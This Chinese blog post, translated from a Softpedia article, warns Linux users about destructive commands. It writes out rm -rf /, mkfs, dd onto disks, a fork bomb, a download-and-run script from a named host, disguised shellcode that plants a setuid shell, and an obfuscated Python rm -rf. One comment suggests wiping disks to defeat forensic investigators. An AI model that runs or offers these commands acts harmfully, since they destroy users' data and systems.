翻译 & 修改自: http://news.softpedia.com/news/Malicious-Commands-You-Should-NOT-Run-in-Ubuntu-72133.shtml
下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。
sudo rm -rf / 删除根分区全部的文件
sudo rm -rf . 删除当前目录下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。
同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:
sudo mkfs.xxxx
dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。
sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。
同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:
any_command > /dev/sda 用随意的数据破坏硬盘
上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。
fork 命令打开一个子进程,如果把 fork 放在无限循环中,
最终子进程会耗尽所有内存资源:
:(){:|:&};:
这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:
fork while fork
有的时候,压缩包也是一个破坏来源~
有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。
有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。
从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:
wget http://some_place/some_file
sh ./some_file
wget http://hax018r.org/malicious-script
sh ./malicious-script
下载脚本要确保来源正规,如果有能力,可以阅读其代码。
即使有源代码的程序,也不要随便编译执行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是 rm -rf ~ / & !!!
python 一类的脚本语言,同样可以拿来搞破坏:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!
还有什么,大家补充~
is-Programmer 是一个面向 Linux 爱好者与程序员的 Blog 系统,具有简洁的风格,方便的代码高亮和数学公式插入功能,适合撰写学习笔记和技术文档。
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2007年12月01日 21:26 好恐怖。。。。
2007年12月01日 22:00 不要试图rm cp mv 操作passwd这个文件,如果使用了错误的passwd,那你可就爽了 ~~
2007年12月02日 18:24 还有那些带着suid的程序
2008年1月23日 17:37 rm -rf / 这个命令干下去,就只有等着重装系统了
2009年3月26日 04:44
作案完毕后可以快速有效的毁灭证据,让执法部门无法通过硬盘取证
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